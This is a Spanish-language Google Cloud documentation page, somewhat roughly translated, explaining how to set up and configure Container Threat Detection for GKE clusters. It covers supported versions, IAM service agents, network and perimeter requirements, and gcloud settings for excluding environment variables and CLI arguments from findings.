Usa una versión de GKE compatible
Para detectar posibles amenazas en tus contenedores, asegúrate de que tus clústeres tengan una versión compatible de Google Kubernetes Engine (GKE). En este momento, la detección de amenazas a contenedores admite las siguientes versiones de GKE en los canales estables, regulares y rápidos:
- GKE Standard >= 1.15.9-gke.12
- GKE Standard >= 1.16.5-gke.2
- GKE Standard >= 1.17
- GKE Standard >= 1.18.10-gke.1400
- GKE Standard >= 1.19.2-gke.2000
- GKE Standard >= 1.20
- GKE Standard >= 1.21
- GKE Autopilot >= 1.21.11-gke.900
- GKE Standard y Autopilot >= 1.22
- GKE Standard y Autopilot >= 1.23
La detección de amenazas a contenedores solo admite imágenes de nodo de Container-Optimized OS.
Habilita Container Threat Detection
Cuando activas el nivel Premium o Enterprise de Security Command Center, Container Threat Detection es habilitado de forma predeterminada, a menos que decidas inhabilitarlo durante el proceso de activación.
Si necesitas habilitar o inhabilitar Container Threat Detection para tu organización o puedes hacerlo en la página Configuración de Security Command Center. Para más información, consulta Habilita o inhabilita un servicio integrado.
Cuando habilites Container Threat Detection, ya sea activando Security Command Center o más adelante, haz lo siguiente:
- Para cualquier clúster que no esté en una versión compatible de GKE, completa los pasos de la guía para actualizar un clúster.
- Asegúrate de que los clústeres tengan recursos suficientes disponibles para ejecutar Container Threat Detection DaemonSet.
- En la consola de Google Cloud, revisa el Configuración de habilitación del servicio Container Threat Detection para asegurarte de que Container Threat Detection esté habilitado en tus clústeres.
Permisos de IAM obligatorios
Container Threat Detection requiere permiso para habilitar e inhabilitar y administrar el agente de detección de amenazas a contenedores en GKE entre los clústeres de Kubernetes.
Para otorgar el permiso necesario, el rol de IAM
Agente de servicio de Container Threat Detection
Se debe otorgar (roles/containerthreatdetection.serviceAgent)
al agente de servicio de Container Threat Detection, que es un tipo de cuenta de servicio.
Quitar este rol predeterminado del agente de servicio podría impedir que Container Threat Detection funcione de forma correcta.
Según cómo y cuándo se activó Security Command Center, el nombre del el agente de servicio que usa Container Threat Detection es diferente:
Si Security Command Center se activó antes del 7 de diciembre de 2023, Container Threat Detection usa el siguiente agente de servicio administrado por el usuario:
service-PROJECT_NUMBER@gcp-sa-ktd-control.iam.gserviceaccount.comSi Security Command Center se activó a nivel de la organización después del 7 de diciembre de 2023, Container Threat Detection usa el siguiente agente de servicio a nivel de la organización administrado por el usuario:
service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.comSi Security Command Center se activó a nivel de proyecto después del 7 de diciembre de 2023, Container Threat Detection usa el siguiente agente de servicio a nivel de la organización administrado por el usuario:
service-project-PROJECT_NUMBER@gcp-sa-ktd-hpsa.iam.gserviceaccount.com
Para obtener más información sobre los agentes de servicio y los roles de IAM, consulta lo siguiente:
Verifica la configuración del clúster de GKE
Para que Container Threat Detection funcione, si tu clúster está en una nube privada virtual (VPC), su red debe cumplir con los requisitos de enrutamiento, firewall y DNS para comunicarse con las API y los servicios de Google. Para acceder a las API de Google, revisa las siguientes guías:
- Si tu clúster es privado, consulta Configura el Acceso privado a Google o Configura Private Service Connect.
- Si tu clúster se encuentra dentro de un perímetro de servicio de Controles del servicio de VPC, asegúrate de Sigue las instrucciones de la descripción general del perímetro de servicio.
- Si tu clúster no es privado, consulta Accede a las API desde VM con direcciones IP externas.
Además, la configuración del clúster de GKE o las restricciones de la política de la organización no deben bloquear la creación o el uso de ningún objeto que Container Threat Detection necesite para funcionar. En las siguientes secciones, se incluye una lista de objetos de GKE que crea Container Threat Detection y se explica cómo configurar componentes esenciales de GKE para que funcionen con Container Threat Detection.
Objetos de Kubernetes
Después de la integración, Container Threat Detection crea varios objetos de GKE en tus clústeres habilitados. Los objetos se usan a fin de supervisar imágenes de contenedor, administrar Pods y contenedores privilegiados y evaluar el estado para generar resultados. En la siguiente tabla, se enumeran los objetos, sus propiedades y las funciones esenciales.

1 Todos los objetos están en el espacio de nombres kube-system, excepto container-watcher-pod-reader y gce:podsecuritypolicy:container-watcher.
2 Durante la instalación, actualización o eliminación de Container Threat Detection, Kubernetes podría emitir mensajes de error para objetos de Kubernetes y otras dependencias que actualmente faltan o están incompletos. Los errores se resuelven automáticamente cuando la detección de amenazas a contenedores completa la acción. A menos que los errores persistan más allá de algunos minutos, puedes ignorarlos.
PodSecurityPolicy y controladores de admisión
PodSecurityPolicy es un recurso de controlador de admisión que creas y que valida las solicitudes a fin de crear y actualizar los pods de tu clúster. Container Threat Detection es compatible con PodSecurityPolicies que se aplican de forma automática cuando se crea o actualiza un clúster con la marca enable-pod-security-policy. En particular, la detección de amenazas a Container Threat Detection gce.privileged cuando PodSecurityPolicy está habilitado.
Si usas PodSecurityPolicies personalizados o algún otro controlador de admisión, no deben bloquear la creación ni el uso de objetos para que Container Threat Detection funcione. Por ejemplo, un controlador de admisión basado en webhook que rechaza o anula implementaciones privilegiadas podría evitar que Container Threat Detection funcione de manera correcta.
Para obtener más información, consulta Usa PodSecurityPolicies.
Excluye variables de entorno de los hallazgos de Container Threat Detection
De forma predeterminada, cuando Container Threat Detection genera un hallazgo, informa el entorno.
variables para todos los procesos a los que se hace referencia en el hallazgo. Variable de entorno
pueden ser importantes cuando se investiga un ataque. Sin embargo, algunos paquetes de software almacenan secretos y otra información sensible en variables de entorno. Para evitar que Container Threat Detection incluya el entorno del proceso
variables en cualquier hallazgo de Container Threat Detection, inhabilita
módulo REPORT_ENVIRONMENT_VARIABLES con Google Cloud CLI o
la API de Security Center Management
securityCenterServices.patch
a nivel de organización, carpeta o proyecto.
Por ejemplo, para inhabilitar los informes de variable de entorno en un proyecto, crea un
llamado module_config.yaml con el siguiente contenido:
REPORT_ENVIRONMENT_VARIABLES:
intendedEnablementState: DISABLED
Luego, ejecuta el siguiente comando:
gcloud scc manage services update container-threat-detection \
--module-config-file=module_config.yaml \
--project=PROJECT_ID
Para restablecer el comportamiento predeterminado, edita module_config.yaml de modo que contenga
lo siguiente y, luego, vuelve a ejecutar el comando:
REPORT_ENVIRONMENT_VARIABLES:
intendedEnablementState: ENABLED
Si quieres ver todos los comandos de gcloud CLI para administrar servicios, consulta
gcloud scc manage services
Cómo excluir argumentos de la CLI de los resultados de Container Threat Detection
Todos los procesos tienen uno o más argumentos de línea de comandos (CLI). De forma predeterminada, cuando
Container Threat Detection incluye detalles del proceso en un hallazgo, registra la CLI
argumentos del proceso. Los valores de los argumentos de la CLI pueden ser importantes cuando se investiga un ataque. Sin embargo, algunos usuarios pueden pasar Secrets y otras
información sensible en los argumentos de la CLI. Para evitar que la Detección de amenazas a contenedores
incluidos los argumentos de la CLI de procesos en cualquier hallazgo de Container Threat Detection, inhabilita la
módulo REPORT_CLI_ARGUMENTS con Google Cloud CLI o
la API de Security Center Management
securityCenterServices.patch
a nivel de organización, carpeta o proyecto.
Por ejemplo, para inhabilitar los informes de argumentos de la CLI en un proyecto, crea un
llamado module_config.yaml con el siguiente contenido:
REPORT_CLI_ARGUMENTS:
intendedEnablementState: DISABLED
Luego, ejecuta el siguiente comando:
gcloud scc manage services update container-threat-detection \
--module-config-file=module_config.yaml \
--project=PROJECT_ID
Para restablecer el comportamiento predeterminado, edita module_config.yaml para que contenga lo siguiente y, luego, vuelve a ejecutar el comando:
REPORT_CLI_ARGUMENTS:
intendedEnablementState: ENABLED
Para ver todos los comandos de la CLI de gcloud para administrar servicios, consulta gcloud scc manage services.
Uso de recursos
La detección de amenazas a contenedores está diseñada para ejercer un impacto de rendimiento insignificante en tus clústeres y no debería afectar la latencia en ninguna operación de clúster.
El uso de recursos depende de la carga de trabajo. Sin embargo, los componentes principales de la detección de amenazas a contenedores, el DaemonSet del espacio de usuario y el módulo de seguridad de Linux (LSM), tienen el siguiente impacto de rendimiento estimado:
- DaemonSet: Un máximo de 0.125 CPU virtuales y 300 MB de memoria, según los límites estrictos establecidos para restringir el uso de recursos. En ocasiones, los límites se vuelven a evaluar y se pueden cambiar a fin de optimizar el rendimiento, en especial para nodos muy grandes.
- LSM: Varía según las características de la carga de trabajo, pero en casos de estrés del LSM, observamos menos del 2% de la CPU y del 1% de la memoria. Puedes probar el impacto en el rendimiento si instrumentas las cargas de trabajo con y sin Container Threat Detection habilitada.
Si eres cliente de BigQuery, puedes habilitar la medición del uso de GKE para supervisar el uso de recursos del espacio de usuario DaemonSet de Container Threat Detection. Para ver el espacio de usuario DaemonSet en la medición de uso, busca el espacio de nombres kube-system y la etiqueta k8s-app=container-watcher.
La medición de uso de GKE no puede realizar un seguimiento del uso de CPU del kernel de forma específica para el LSM. Esos datos se incluyen en el uso general de la CPU.
API de Container Threat Detection
Container Threat Detection habilita de forma automática la API de containerThreatdetection durante la integración para permitir la generación de resultados. No debes interactuar directamente con esta API requerida. Inhabilitar esta API dañaría la capacidad de Container Threat Detection de generar resultados nuevos. Si deseas dejar de recibir los resultados de Container Threat Detection, inhabilita la detección de amenazas a contenedores en la configuración de servicios de Security Command Center.
Revisa los resultados
Cuando Container Threat Detection genera resultados, puedes verlos en Security Command Center. Si configuraste las exportaciones de registros a Cloud Logging, puedes consultar los resultados en Cloud Logging. Para generar un resultado y verificar la configuración, puedes activar de forma intencional un detector y probar la detección de amenazas a contenedores.
La detección de amenazas a contenedores tiene las siguientes latencias:
- Latencia de activación de 3.5 horas para organizaciones o proyectos recién incorporados.
- Latencia de activación de minutos para clústeres nuevos.
- Latencia de detección de minutos para las amenazas en los clústeres que se activaron

Analiza proyectos protegidos por un perímetro de servicio
Si activaste Security Command Center al nivel de la organización después de 7 de diciembre de 2023 y tienen una perímetro de servicio que bloquea el acceso a ciertos proyectos y servicios, debes otorgar a la cuenta de servicio acceso de entrada para Container Threat Detection a ese perímetro de servicio. De lo contrario, Container Threat Detection no puede producir hallazgos relacionados con los proyectos y servicios protegidos.
Para las activaciones a nivel de la organización, el identificador de la cuenta de servicio es una dirección de correo electrónico con el siguiente formato:
service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com
En el ejemplo anterior, reemplaza ORGANIZATION_ID por el identificador numérico de tu organización.
Si tu clúster está dentro de un perímetro de servicio de Controles del servicio de VPC, asegúrate de lo siguiente:
Se incluye containerthreatdetection.googleapis.com, la API de Container Threat Detection
como un servicio accesible.
Para obtener más información, consulta Descripción general del perímetro de servicio.
Para otorgar acceso entrante a una cuenta de servicio a un perímetro de servicio, sigue estos pasos.
Ve a los Controles del servicio de VPC.
En la barra de herramientas, selecciona tu organización de Google Cloud.
En la lista desplegable, selecciona la política de acceso que contiene el perímetro de servicio al que deseas otorgar acceso.
Los perímetros de servicio asociados con la política de acceso aparecen en la lista.
Haz clic en el nombre del perímetro de servicio.
Haz clic en Editar perímetro.
En el menú de navegación, haz clic en Política de entrada.
Haga clic en Agregar regla.
Configura la regla de la siguiente manera:
Atributos FROM del cliente de la API
- En Fuente, selecciona Todas las fuentes.
- En Identidad, selecciona Identidades seleccionadas.
- En el campo Agregar usuario o cuenta de servicio, haz clic en Seleccionar.
- Ingresa la dirección de correo electrónico de la cuenta de servicio. Si tienes tanto a nivel de organización y de proyecto, agrega ambas.
- Haz clic en Guardar.
Atributos TO de los recursos y servicios de GCP
-
En Proyecto, selecciona Todos los proyectos.
En Servicios, selecciona Todos los servicios o cada una de las siguientes opciones: servicios individuales que requiere Container Threat Detection:
- API de Kubernetes Engine
Si un perímetro de servicio restringe el acceso a un servicio obligatorio, la detección de amenazas a contenedores no puede producir resultados para ese servicio.
En el menú de navegación, haz clic en Guardar.
Para obtener más información, consulta Configura políticas de entrada y salida.
